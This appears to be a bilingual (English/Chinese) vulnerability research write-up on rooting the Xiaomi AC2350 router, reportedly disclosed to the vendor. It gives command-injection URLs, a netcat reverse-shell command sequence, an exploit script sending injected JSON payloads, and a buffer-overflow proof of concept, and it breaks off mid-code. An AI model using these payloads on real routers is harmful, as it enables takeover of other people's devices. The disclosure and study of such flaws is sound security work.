Rooting Xiaomi WiFi Routers

IoT 4周前 admin
21 0 0

Introduction 介绍

Our research focused on the MI AIoT Router AC2350 with the aim to obtain remote code execution on the LAN and WAN interfaces. We found several vulnerabilities in the router that allow an attacker to gain root access to the router. We sent 8 reports to Xiaomi on their HackerOne bug bounty program — all the bugs should be fixed in the latest firmware updates according to them.
我们的研究重点是 MI AIoT Router AC2350 在LAN和WAN接口上获得远程代码执行。我们在路由器中发现了多个漏洞,这些漏洞允许攻击者获得对路由器的 root 访问权限。我们向小米发送了 8 份关于他们的 HackerOne 漏洞赏金计划的报告——根据他们的说法,所有漏洞都应该在最新的固件更新中得到修复。

Previous research by Aobo Wang and Jihong Zheng at Hitcon 2020 demonstrated various vulnerabilities in Xiaomi routers. However, during our analysis of the MI AIoT Router AC2350, we found that certain bugs, previously identified by Wang and Zheng in 2020, were still present. It seems these vulnerabilities hadn’t been rectified in the most recent firmware updates for our router, including Global 3.0.36 and China 1.3.8. They had only been fixed in the router version specified in the CVE descriptions, namely the Mi AIoT Router AX3600. As a result, we have decided to inform Xiaomi of these re-discovered bugs alongside our new ones.
王敖博和郑继红之前在 Hitcon 2020 上的研究表明,小米路由器存在各种漏洞。然而,在我们的分析过程中, MI AIoT Router AC2350, 我们发现 Wang 和 Zheng 在 2020 年发现的某些错误仍然存在。这些漏洞似乎在我们路由器的最新固件更新中没有得到纠正,包括全球 3.0.36 和中国 1.3.8。它们仅在CVE描述中指定的路由器版本中修复,即 Mi AIoT Router AX3600. 因此,我们决定将这些重新发现的错误与我们的新错误一起通知小米。

Environment 环境

Xiaomi sells a wide variety of WiFi routers based on OpenWrt. Therefore, the web functions are served through OpenWrt’s luci Lua package. Fortunately, in comparison to other firmwares from Xiaomi routers, the Lua scripts containing the web functions were not encrypted, allowing us to easily analyze the code and pinpoint the API functions.
小米销售各种基于OpenWrt的WiFi路由器。因此,Web 函数是通过 OpenWrt 的 luci Lua 包提供的。幸运的是,与小米路由器的其他固件相比,包含 Web 函数的 Lua 脚本没有加密,使我们能够轻松分析代码并确定 API 函数。

All binaries are executed as root and, therefore, any vulnerability that allows arbitrary code execution on the router will result in a root access. This is interesting as even a command injection found through the web interface results in the highest level of access to the operating system.
所有二进制文件都是作为 root 执行的,因此,任何允许在路由器上执行任意代码的漏洞都会导致 root 访问。这很有趣,因为即使是通过 Web 界面找到的命令注入也会导致对操作系统的最高级别访问。

Similarly to most WiFi routers, an authentication portal is available on the router’s web interface and different permission levels protect access to certain API functions. After authenticating on the web portal, a token is generated and is sent in the URL to signify that the user is authenticated. This authorization token can be found in the stok URL parameter.
与大多数WiFi路由器类似,路由器的Web界面上有一个身份验证门户,不同的权限级别可以保护对某些API功能的访问。在 Web 门户上进行身份验证后,将生成一个令牌,并在 URL 中发送,以指示用户已通过身份验证。可以在 stok URL 参数中找到此授权令牌。

Rooting Xiaomi WiFi Routers

Furthermore, it is important to keep in mind that the router runs on a 32-bit big-endian MIPS CPU: to get more tools than what the firmware’s busybox can offer (e.g. gdbgdbserverstracesocat …), we can, for example, look for precompiled binaries online or build a complete toolchain using buildroot to compile a kernel with a filesystem in order to emulate the router with QEMU.
此外,重要的是要记住,路由器运行在 32-bit big-endian MIPS CPU : 为了获得比固件 busybox 所能提供的工具更多的工具(例如 gdb ,, gdbserver , strace socat …),例如,我们可以在线查找预编译的二进制文件,或者使用 buildroot 构建一个完整的工具链来编译带有文件系统的内核,以便使用 QEMU .

Finally, we can note that even if most of the binaries are compiled without any protections (no PIE, no NX, no stack canary, partial/no RELRO), ASLR is active on the router. The big-endianness does not allow us to only overwrite the end of addresses in the same way we could in little endian. In addition, non-PIE binaries are mapped at the virtual address 0x00400000 which starts with a null byte and will cause us some issues later for exploitation.
最后,我们可以注意到,即使大多数二进制文件是在没有任何保护的情况下编译的(没有 PIE、没有 NX、没有堆栈金丝雀、部分/没有 RELRO),ASLR 在路由器上是活跃的。大端不允许我们只覆盖地址的末尾,就像我们在小端序中一样。此外,非 PIE 二进制文件映射到以 null 字节开头的虚拟地址 0x00400000 ,这将导致我们稍后出现一些问题以供利用。

Attack Surface 攻击面

WiFi routers have two accessible interfaces, LAN and WAN: the LAN interface is accessible once a device is connected to its WiFi and the WAN interface is accessible through the internet.
WiFi路由器有两个可访问的接口,LAN和WAN:一旦设备连接到其WiFi,LAN接口就可以访问,并且WAN接口可以通过Internet访问。

Within the LAN interface, we can further distinguish pre-authorization and post-authorization attacks. Pre-authorization attacks can be done without authentication, by any device connected to the WiFi, while post-authorization attacks require authentication (user:password) on the router’s web interface, accessible at http://192.168.31.1.
在局域网接口中,我们可以进一步区分预授权和授权后攻击。预授权攻击无需身份验证即可通过连接到 WiFi 的任何设备完成,而预授权后攻击需要在路由器的 Web 界面上进行身份验证(用户:密码),可在 http://192.168.31.1 .

Rooting Xiaomi WiFi Routers

LAN

For LAN vulnerabilities, we focused on the web API functions to execute commands on the router.
对于局域网漏洞,我们重点介绍了在路由器上执行命令的 Web API 函数。

To analyze all API functions we scraped every file containing the string entry({"api" as this turned out to be the endpoint source. Furthermore, this technique lets us identify the associated functions and authorization levels required to execute the different API calls.
为了分析所有 API 函数,我们抓取了包含字符串 entry({"api" 的每个文件,因为这原来是端点源。此外,这种技术使我们能够识别执行不同 API 调用所需的相关功能和授权级别。

soeasy@ubuntu:~/router/fs $ grep -Rs "entry({\"api"
[...]
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wifi_weak"}, call("setWifiWeakInfo"), (""), 286)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "get_wifi_weak"}, call("getWifiWeakInfo"), (""), 287)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wan6"}, call("setWan6"), (""), 223, 0x08)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "ipv6_status"}, call("ipv6Status"), (""), 223, 0x08)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "miscan_switch"}, call("miscanSwitch"), (""), 290)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "get_miscan_switch"}, call("getMiscanSwitch"), (""), 291)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wifi_txbf"}, call("setWifiTxbf"), (""), 295)
usr/lib/lua/luci/controller/api/xqnetwork.lua:    entry({"api", "xqnetwork", "set_wifi_ax"}, call("setWifiAx"), (""), 296)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome"}, firstchild(), _(""), 500)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request"}, call("tunnelSmartHomeRequest"), _(""), 501)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_miio"}, call("tunnelMiioRequest"), _(""), 503)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_mitv"}, call("requestMitv"), _(""), 504)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_yeelink"}, call("tunnelYeelink"), _(""), 505)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_camera"}, call("requestCamera"), _(""), 506)
usr/lib/lua/luci/controller/api/xqsmarthome.lua:    entry({"api", "xqsmarthome", "request_miiolist"}, call("requestMiioList"), _(""), 507)

soeasy@ubuntu:~/router/fs $ grep -Rs "entry({\"api" | wc -l
476

We can then interpret each line like this:
然后,我们可以这样解释每一行:

--- API endpoint: `/api/xqnetwork/pppoe_catch` - Corresponding Lua function: `pppoeCatch()` - Authorization Flag: `0x09`
entry({"api", "xqnetwork", "pppoe_catch"}, call("pppoeCatch"), (""), 264, 0x09)

To understand the authorization flags, which is visibly a custom feature that Xiaomi implemented because it’s not in the original luci’s source code, we can have a look at the flag checking functions in /usr/lib/lua/luci/dispatcher.lua.
要了解授权标志,这显然是小米实现的自定义功能,因为它不在原始 luci 的源代码中,我们可以看看 中 /usr/lib/lua/luci/dispatcher.lua 的标志检查功能。

[...]
function _remoteAccessForbidden(flag)
    if flag == nil then
        return false
    end
    if bit.band(flag, 0x02) == 0x02 then
        return true
    else
        return false
    end
end
[...]

The different authorization flags are the following, and can of course be combined:
不同的授权标志如下,当然可以组合使用:

  • 0x01: “_noauthAccessAllowed”
    0x01 : “_noauthAccessAllowed”
  • 0x02: “_remoteAccessForbidden”
    0x02 :“_remoteAccessForbidden”
  • 0x04: “_syslockAccessAllowed”
    0x04 :“_syslockAccessAllowed”
  • 0x08: “_noinitAccessAllowed”
    0x08 : “_noinitAccessAllowed”
  • 0x10: “_sdkFilter”  0x10 :“_sdkFilter”

We found roughly 500 API endpoints and initiated the grunt work of analyzing all of them, separating them into categories based on their permission levels. The first target functions in the Lua code were os.executeforkExecio.popen… as they allow direct command execution on the router. However, we also dove into the functions that branched out to router binaries in order to find lower-level vulnerabilities through reverse engineering.
我们找到了大约 500 个 API 端点,并启动了分析所有这些端点的繁重工作,根据它们的权限级别将它们分成几类。Lua 代码中的第一个目标函数是 os.execute 、 forkExec 、 io.popen …因为它们允许在路由器上直接执行命令。但是,我们还深入研究了分支到路由器二进制文件的功能,以便通过逆向工程查找较低级别的漏洞。

Indeed, certain API functions will directly invoke binaries with user-controlled parameters through the URL to perform some tasks. Meaning, if the called binary is vulnerable, a specially crafted URL could potentially lead to code execution in the called program.

WAN

For WAN vulnerabilities, we approached the problem by following Pwn2Own’s method of intercepting the traffic on the WAN interface. Acting as a man-in-the-middle, we emulated a DHCP and DNS server using dnsmasq, thus redirecting the traffic to our machine. We noticed many HTTP requests, giving us and any attackers the ability to intercept and modify the traffic. This proved to be fruitful in finding vulnerabilities as we will later see in this article.
对于广域网漏洞,我们通过遵循 Pwn2Own 拦截广域网接口上的流量的方法解决了这个问题。作为中间人,我们使用 dnsmasq 模拟 DHCP a 和 DNS 服务器,从而将流量重定向到我们的机器。我们注意到许多 HTTP 请求,这使我们和任何攻击者都能够拦截和修改流量。事实证明,这在查找漏洞方面是富有成效的,我们将在本文后面看到。

Vulnerability Details 漏洞详情

In this section, we will detail the multiple vulnerabilities we found in the router. The initial goal was to have a root shell on the router as it would be useful for future debugs. We followed a bottom-up approach regarding the level of authorization: consequently, we first looked at the LAN interface with the highest level of authorization (LAN post-auth), continued with LAN pre-auth, and finished with WAN.
在本节中,我们将详细介绍我们在路由器中发现的多个漏洞。最初的目标是在路由器上有一个 root shell,因为它对将来的调试很有用。我们遵循自下而上的方法进行授权级别:因此,我们首先查看了具有最高授权级别的 LAN 接口(LAN 身份验证后),然后是 LAN 预身份验证,最后是 WAN。

LAN

To analyze the LAN attack surfaces we only focused on the web interface. Meaning, our research consisted in following the different endpoints and statically auditing their code.
为了分析LAN攻击面,我们只关注Web界面。这意味着,我们的研究包括跟踪不同的端点并静态审核它们的代码。

Post-authorization 授权后

Post-authorization means that an authentication token is sent with the request, so the admin password is required. In the end, we found three RCEs on the LAN post-authorization surface. While two of these bugs were duplicates, they still served their purpose as a foothold onto the router which drastically helped in the search for other vulnerabilities.
授权后意味着身份验证令牌随请求一起发送,因此需要管理员密码。最后,我们在局域网后授权面上发现了三个RCE。虽然其中两个错误是重复的,但它们仍然起到了作为路由器立足点的作用,这极大地帮助了寻找其他漏洞。

Endpoint /api/xqnetwork/set_wan6 – Command Injection (already known as CVE-2020-14100)
终结点 /api/xqnetwork/set_wan6 – 命令注入(已称为 CVE-2020-14100)

The first vulnerability was a known RCE from 2020. An unsanitized url parameter is injected into a shell command thus resulting in arbitrary command injection. This command injection is known by Xiaomi, however, it was not fixed in this particular firmware.
第一个漏洞是 2020 年的已知 RCE。未清理的 url 参数被注入到 shell 命令中,从而导致任意命令注入。小米知道此命令注入,但是,它未在此特定固件中修复。

The API endpoint /api/xqnetwork/set_wan6, used to set IPv6 settings, calls the function setWan6() in /usr/lib/lua/luci/controller/api/xqnetwork.lua, and accepts multiple url parameters. The url parameter dns1 can be abused to inject commands in the XQFunction.forkExec() method, which executes bash commands on the router. This vulnerability can be seen here:
用于设置 IPv6 设置的 API 端点 /api/xqnetwork/set_wan6 调用 中的 /usr/lib/lua/luci/controller/api/xqnetwork.lua 函数 setWan6() ,并接受多个 url 参数。 dns1 可以滥用 url 参数在 XQFunction.forkExec() 方法中注入命令,该方法在路由器上执行 bash 命令。这个漏洞可以在这里看到:

function index()
    local page   = node("api","xqnetwork")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 200
    page.sysauth = "admin"
    page.sysauth_authenticator = "jsonauth"
    page.index = true
    [...]
    entry({"api", "xqnetwork", "set_wan6"}, call("setWan6"), (""), 223, 0x08)
    [...]

function setWan6()
    [...]
    --- `dn1` is retrieved here
    local dns1 = XQSecureUtil.parseCmdline(LuciHttp.formvalue("dns1"))
    local dns2 = XQSecureUtil.parseCmdline(LuciHttp.formvalue("dns2"))

    if XQFunction.isStrNil(wanType)
        and XQFunction.isStrNil(ip6addr)
        and XQFunction.isStrNil(ip6gw)
        and XQFunction.isStrNil(ip6prefix) then
            code = 1502
    else
        if wanType == "native" then
            if XQFunction.isStrNil(dns1) and XQFunction.isStrNil(dns2) then
                XQFunction.forkExec("sleep 2; /etc/init.d/ipv6 native")
            elseif not XQFunction.isStrNil(dns1) and XQFunction.isStrNil(dns2) then
                XQFunction.forkExec("sleep 2; /etc/init.d/ipv6 native " .. dns1)
            elseif XQFunction.isStrNil(dns1) and not XQFunction.isStrNil(dns2) then
                XQFunction.forkExec("sleep 2; /etc/init.d/ipv6 native " .. dns2)
            else
                --- `dns1` is injected into a shell command here by a simple concatenation!
                XQFunction.forkExec(
                    "sleep 2; /etc/init.d/ipv6 native " .. dns1 .. ',' .. dns2
                )
    [...]

The potentially problematic function here would be the parsing function XQSecureUtil.parseCmdline, declared in /usr/lib/lua/xiaoqiang/util/XQSecureUtil.lua, which will attempt to sanitize the input by escaping different characters.

function parseCmdline(str)
    if XQFunction.isStrNil(str) then
        return ""
    else
        return str:gsub("\\", "\\\\")
                  :gsub("`", "\\`")
                  :gsub("\"", "\\\"")
                  :gsub("%$", "\\$")
                  :gsub("%&", "\\&")
                  :gsub("%|", "\\|")
                  :gsub("%;", "\\;")
    end
end

Plagued by a shell command injection, the dns1 variable can be populated with \n (0x0a in hex) to add arbitrary commands. Indeed, \n bypasses the security checks done by the function XQSecureUtil.parseCmdline. For instance, the following payload injected in the API URL makes a netcat connection request on IP 192.168.31.161 and port 8282dns1=anything%0anc 192.168.31.161 8282

Example URL: http://192.168.31.1/cgi-bin/luci/;stok=3ab3ea7324a1eb604be37dff197cf504/api/xqnetwork/set_wan6?wanType=native&dns1=anything%0anc%20192.168.31.161%208282

We can execute any command on the router, with some limitations. Certain characters are escaped with a backslash, but we can then just run a sed to remove the backslash to “de-escape” the characters. For instance, the following list of commands pops a reverse shell on the router:

commands = [
    f"rm -f /tmp/f",
    f"mknod /tmp/f p",
    f"echo 'cat /tmp/f|sh -i 2>&1|nc {IP} {PORT} >/tmp/f' > revshell.sh",
    f'sed -i \'s/\\//g\' revshell.sh',
    f"sh revshell.sh"
]

Thus, we have a reverse shell on the router:
因此,我们在路由器上有一个反向 shell:

Rooting Xiaomi WiFi Routers

This vulnerability is in fact a duplicate of CVE-2020-14100 and we rediscovered it by accident. But we now have our first root reverse shell on the router with no restriction on the entire filesystem, great!
这个漏洞实际上是 CVE-2020-14100 的副本,我们无意中重新发现了它。但是我们现在在路由器上有了第一个根反向 shell,对整个文件系统没有限制,太棒了!

Endpoint /api/xqsmarthome/request_smartcontroller – Command Injection (CVE-2023-26319)
端点 /api/xqsmarthome/request_smartcontroller – 命令注入 (CVE-2023-26319)

The post-authorization API endpoint /api/xqsmarthome/request_smartcontroller, which seeks to interact with smart-home devices on the network, is implemented in /usr/lib/lua/luci/controller/api/xqsmarthome.lua and accepts the url parameter payload.
寻求与网络上的智能家居设备进行交互的授权后 API 端 /api/xqsmarthome/request_smartcontroller 点在 url 参数中 /usr/lib/lua/luci/controller/api/xqsmarthome.lua 实现并接受 payload 。

function index()
    local page   = node("api","xqsmarthome")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 500
    -- We have to be authenticated to access this API
    page.sysauth = "admin"
    page.sysauth_authenticator = "jsonauth"
    page.index = true
    entry({"api", "xqsmarthome"}, firstchild(), _(""), 500)
    entry({"api", "xqsmarthome", "request"}, call("tunnelSmartHomeRequest"), _(""), 501)
    -- API endpoint `request_smartcontroller` is defined here 
    entry({"api", "xqsmarthome", "request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
    entry({"api", "xqsmarthome", "request_miio"}, call("tunnelMiioRequest"), _(""), 503)
    entry({"api", "xqsmarthome", "request_mitv"}, call("requestMitv"), _(""), 504)
    entry({"api", "xqsmarthome", "request_yeelink"}, call("tunnelYeelink"), _(""), 505)
    entry({"api", "xqsmarthome", "request_camera"}, call("requestCamera"), _(""), 506)
    entry({"api", "xqsmarthome", "request_miiolist"}, call("requestMiioList"), _(""), 507) 
end

[...]

function tunnelSmartControllerRequest()
    local XQLog = require("xiaoqiang.XQLog")
    local XQCryptoUtil = require("xiaoqiang.util.XQCryptoUtil")
    local LuciJson = require("json")
    local http_data = LuciJson.decode(LuciHttp.formvalue("payload"))
    -- Our `payload` is base64 encoded
    local payload = XQCryptoUtil.binaryBase64Enc(LuciHttp.formvalue("payload"))

    [...]

    local cmd = XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER % payload
	local LuciUtil = require("luci.util")
    -- Some command containing our `payload` is executed here
    LuciHttp.write(LuciUtil.exec(cmd))
end

Here we can see that our payload will be base64 encoded and then formatted into the string XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER and that the result will be executed with LuciUtil.exec. Let’s take a look at the value of XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER in /usr/lib/lua/xiaoqiang/common/XQConfigs.lua.
在这里我们可以看到,我们将 payload 被 base64 编码,然后格式化为字符串 XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER ,结果将使用 LuciUtil.exec .让我们看一下 in /usr/lib/lua/xiaoqiang/common/XQConfigs.lua 的 XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER 值。

THRIFT_TUNNEL_TO_DATACENTER = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = "thrifttunnel 2 '%s'"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_GET_SN = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_DEVICEID = "thrifttunnel 5 ''"
THRIFT_TUNNEL_TO_MIIO = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_YEELINK = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = "thrifttunnel 8 '%s'"

This payload will thus be passed to the binary thrifttunnel by executing the command: thrifttunnel 2 '[BASE64 PAYLOAD]'.

While taking a look at the thrifttunnel binary, we can see that the choice 2 will “transfer” the payload to a service called smartcontroller through the ubus IPC system.

// _ftext is basically the main function of the `thrifttunnel` binary
int32_t _ftext(int32_t argc, char** argv, char** envp) {
    [...]
    case 2:
    {
        uloop_init();
        int32_t _ubus_ctx = ubus_connect(data_412050);
        ubus_ctx = _ubus_ctx;
        int32_t ubus_id;

        if (_ubus_ctx != 0)
        {
            uloop_fd_add((_ubus_ctx + 0x2c), 9);
            ubus_id = ubus_lookup_id(ubus_ctx, "smartcontroller", 0x412074);
            
            if (ubus_id == 0)
            {
                blob_buf_init(0x41205c, 0);
                blobmsg_add_field(0x41205c, 3, "request", s2_1, (strlen(s2_1) + 1));
                s0_4 = nullptr;
                int32_t v0_19 = ubus_invoke_fd(ubus_ctx, data_412074, "process_request", data_41205c, 0x400f00, 0, 0x1388, 0xffffffff);
                a0_11 = ubus_ctx;
    [...]

We can simplify this process by saying that the payload is finally passed as an argument to the /usr/sbin/smartcontroller binary.

While looking for vulnerabilities in this smartcontroller binary, we noticed that a command injection is possible through a mac parameter and could allow remote code execution if it could be reached. This vulnerability is located in the function at 0x4061d4 which we renamed run_sysapi_macfilter.

int32_t run_cmd(char* cmd)
{
    int32_t ret = 0;

    if (is_empty_str(cmd) == 0)
    {
        log(2, "system command: %s\n", cmd);
        int32_t system_res;
        int32_t a2_2;

        // Command executed using the `sytem()` function
        system_res = system(cmd);
        ret = 1;

        if (system_res != 0)
        {
            log(2, "system call error\n", a2_2);
            ret = 0;
        }
    }
    return ret;
}

// the `mac` parameter is user controlled
int32_t run_sysapi_macfilter(char* mac, int32_t enabled)
{
    char* const yes_no;
    char cmd_buffer[0x64];
    memset(&cmd_buffer, 0, 0x64);
    
    if (enable != 0)
    {
        yes_no = "no";
    }
    else
    {
        yes_no = "yes";
    }

    sprintf(&cmd_buffer,
            "/usr/sbin/sysapi macfilter set mac=%s wan=%s;/usr/sbin/sysapi macfilter commit",
            mac,
            a3);
    // `mac` is directly injected into `system()`!
    return run_cmd(&cmd_buffer);
}

Since the mac parameter is user-controlled and directly passed to run_cmd, we could execute any command on the router, but we first need to understand how to interact correctly with the smartcontroller binary to reach this interesting function.
由于该 mac 参数是用户控制并直接传递给 run_cmd 的,我们可以在路由器上执行任何命令,但我们首先需要了解如何与 smartcontroller 二进制文件正确交互才能达到这个有趣的函数。

While reversing the smartcontroller binary, we can see that the payload must be formatted as JSON with a “command” field. We can see the different possible commands in a function we named scene_command_parser at 0x401dc0.
在反转 smartcontroller 二进制文件时,我们可以看到有效负载必须格式化为带有“命令”字段的 JSON。我们可以在 中 0x401dc0 命名 scene_command_parser 的函数中看到不同的可能命令。

int32_t scene_command_parser(char* command)
{
    void* json_object;
    int32_t a2;
    json_object = json_tokener_parse(command);
    char const* const error_msg;
    if (json_object == 0)
    {
        error_msg = "request is not a json object\n";
    }
    else
    {
        void* cmd_json_object;
        cmd_json_object = json_object_object_get(json_object, "command");
        if (cmd_json_object != 0)
        {
            int32_t cmd_string = json_object_get_string(cmd_json_object);
            int32_t s0_3;
            int32_t v0_11;
            if (strcmp(cmd_string, "scene_setting") == 0)
            {
                int32_t v0_12;
                int32_t a2_6;
                v0_12 = strcmp(cmd_string, "get_scene_setting");
                if (v0_12 == 0)
                {
                    if (strcmp(cmd_string, "get_single_scene_setting") == 0)
                    {
                        if (strcmp(cmd_string, "get_multiple_scene_setting") == 0)
                        {
                            if (strcmp(cmd_string, "scene_update") == 0)
                            {
                                if (strcmp(cmd_string, "scene_start") == 0)
                                {
                                    if (strcmp(cmd_string, "scene_stop") == 0)
                                    {
                                        if (strcmp(cmd_string, "scene_launch") == 0)
                                        {
                                            if (strcmp(cmd_string, "scene_launch_delete") == 0)
                                            {
                                                if (strcmp(cmd_string, "scene_delete") == 0)
                                                {
                                                    if (strcmp(cmd_string, "scene_start_by_device_status") == 0)
                                                    {
                                                        if (strcmp(cmd_string, "is_scene_processing") == 0)
                                                        {
                                                            if (strcmp(cmd_string, "get_scene_count") == 0)
                                                            {
                                                                if (strcmp(cmd_string, "reset_scenes") == 0)
                                                                {
                                                                    if (strcmp(cmd_string, "scene_start_by_crontab") != 0)
                                                                    {

For those of you who are really paying attention, we can see here that the strcmp returns 0 if the strings are not equal, which is the opposite of what normally happens: this is because the strcmp used here is a custom implementation.

In this same function, we can see the only cross-reference to the function run_sysapi_macfilter that is interesting for us, in the case of the command “scene_setting”.

After a little more reverse engineering of the command parsing process, we built the following payload for the API /api/xqsmarthome/request_smartcontroller that can then be used to POC the RCE by creating a new “scene” with the command scene_setting that will block a MAC address – which will, in fact, be our command injection payload.

{
    "command":"scene_setting",
    "name":"it3",
    "action_list":[
            {
                "thirdParty":"xmrouter",
                "delay":17,
                "type":"wan_block",
                "payload":
                    {
                        "command":"wan_block",
                        // Command Injection - making an exterior connection
                        "mac":";nc 192.168.31.161 4242;#"
                    }
            }
        ],
    "launch":
        {
            "timer":
                {
                    "time":"2:2",
                    "repeat":"0",
                    "enabled":true
                }
        }
}

Then, we need to start this scene by using the command scene_start_by_crontab.

{
    "command":"scene_start_by_crontab",
    "time":"2:2",
    "week":0
}

A simple python script can be written to exploit the vulnerability:
可以编写一个简单的 python 脚本来利用此漏洞:

import requests

AUTH_TOKEN = "bd3ff46458f812a97b4e9f10945c6ce5"

URL = f"http://192.168.31.1/cgi-bin/luci/;stok={AUTH_TOKEN}/api/xqsmarthome/request_smartcontroller"

command = "nc 192.168.31.161 4242"

requests.post(URL, data={
    "payload":'{"command":"scene_setting","name":"it3","action_list":[{"thirdParty":"xmrouter","delay":17,"type":"wan_block","payload":{"command":"wan_block","mac":";' + command + ';#"}}],"launch":{"timer":{"time":"2:2","repeat":"0","enabled":true}}}'
})
requests.post(URL, data={
    "payload":'{"command":"scene_start_by_crontab","time":"2:2","week":0}'
})

This way, we receive a connection with our listener:
这样,我们就会收到与听众的连接:

Rooting Xiaomi WiFi Routers

With this system injection in the /usr/sbin/smartcontroller binary, we can now validate another LAN post-authorization RCE vulnerability, which is not a duplicate this time!
通过 /usr/sbin/smartcontroller 二进制文件中的这种 system 注入,我们现在可以验证另一个 LAN 授权后 RCE 漏洞,这次不是重复的!

Endpoint /api/xqsmarthome/request_smartcontroller – Stack Buffer Overflow (CVE-2023-26318)
端点 /api/xqsmarthome/request_smartcontroller – 堆栈缓冲区溢出 (CVE-2023-26318)

In the same portion of code as the vulnerability above, we can see that smartcontroller is also vulnerable to a stack buffer overflow. The mac parameter, which is user-controlled, is directly injected into a stack buffer using sprintf(), which means the length of the string copied to cmd_buffer is not checked.
在与上述漏洞相同的代码部分中,我们可以看到它 smartcontroller 也容易受到堆栈缓冲区溢出的影响。该 mac 参数由用户控制,使用 sprintf() 直接注入到堆栈缓冲区中,这意味着不检查复制到 cmd_buffer 的字符串的长度。

// the `mac` parameter is user controlled
int32_t run_sysapi_macfilter(char* mac, int32_t enabled)
{
    char* const yes_no;
    char cmd_buffer[0x64];
    memset(&cmd_buffer, 0, 0x64);
    
    if (enable != 0)
    {
        yes_no = "no";
    }
    else
    {
        yes_no = "yes";
    }

    // `mac` is directly injected into the `cmd_buffer` (stack buffer) without length check! 
    sprintf(&cmd_buffer,
            "/usr/sbin/sysapi macfilter set mac=%s wan=%s;/usr/sbin/sysapi macfilter commit",
            mac,
            a3);  
    return run_cmd(&cmd_buffer);
}

We can then produce a quick PoC to overwrite the return address and set the program counter PC to 0xdeadbeef:
然后,我们可以生成一个快速 PoC 来覆盖返回地址并将程序计数器 PC 设置为 0xdeadbeef :

  • First payload
{
    [...]
    // payload is basically the same as the previous one
    // mac: A * 81 + 0xdeadbeef (URL encoded)
    "mac":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%de%ad%be%ef"
    [...]
}
  • Second payload
{
    "command":"scene_start_by_crontab",
    "time":"2:2",
    "week":0
}

We can then check in gdb that we effectively control the PC:

Rooting Xiaomi WiFi Routers

Unfortunately, since the vulnerability comes from the use of sprintf with a %s formatter, we cannot use NULL bytes in the payload. Consequently, we cannot use ROP gadgets to execute arbitrary code within the binary as we know that the base address of the binary is 0x00400000 (starting with a NULL byte) and that we can’t just make a partial address overwrite due to the endianness.

An exploit would require an ASLR bruteforce (which is reasonable on a 32-bit system) or an ASLR leak for example. Unfortunately, the binary is not restarted when it crashes, thus making the bruteforce pretty much impossible, but it is still a DoS. Since we had already discovered several RCEs, we decided not to spend too much time on this non-trivial vulnerability exploitation.

Endpoint /api/xqsmarthome/request_smartcontroller – Another Command Injection

After having submitted the previous reports to Xiaomi, we were happy with our LAN post-authorization research as we had found a way to obtain a root shell on the router and also found non-duplicate RCEs eligible for their bug bounty program.

Soon enough, however, a second read-through of the smartcontroller program revealed another command injection. Unfortunately, our previous report on the binary drew Xiaomi’s attention and they apparently found this injection shortly before our report. It was a duplicate once again but it taught us to fully finish a security audit before hastily reporting bugs.
然而,很快,对 smartcontroller 程序的第二次通读揭示了另一个命令注入。不幸的是,我们之前关于二进制文件的报告引起了小米的注意,他们显然在我们的报告前不久发现了这种注入。它又是重复的,但它教会了我们在匆忙报告错误之前完全完成安全审计。

This second command injection resides in the method that we renamed feedPush at 0x405384. The scene_name parameter is directly injected in system() without any sanitization in the run_cmd_arg function.
第二个命令注入驻留在我们重命名 feedPush 的方法中 0x405384 。该 scene_name 参数直接注入, system() 无需在 run_cmd_arg 函数中进行任何清理。

int32_t run_cmd_arg(char* cmd, char* arg)
{
    int32_t ret;
    if (is_empty_str(cmd) != 0)
    {
        ret = 0;
    }
    else
    {
        if (is_empty_str(arg) != 0)
        {
            return run_cmd(cmd);
        }

        int32_t len = strlen(cmd) + strlen(arg) + 5;
        char* final_command = malloc(len);
        memset(final_command, 0, len);

        // Here, an attempt of escaping `arg` to try to avoid command injections 
        sprintf(final_command, "%s '%s'", cmd, arg);

        // The final command is then executed with `system()`
        ret = run_cmd(final_command);

        free(final_command);
    }
    return ret;
}

int32_t feedPush(scene_struct* scene)
{
    json_object* new_dupe = json_object_new_object();
    json_object_object_add(new_dupe, "type", json_object_new_int(5));
    json_object* new_obj = json_object_new_object();

    // `scene_name` is user controlled
    json_object_object_add(new_obj, "name", json_object_new_string(scene->scene_name));
    
    [...]
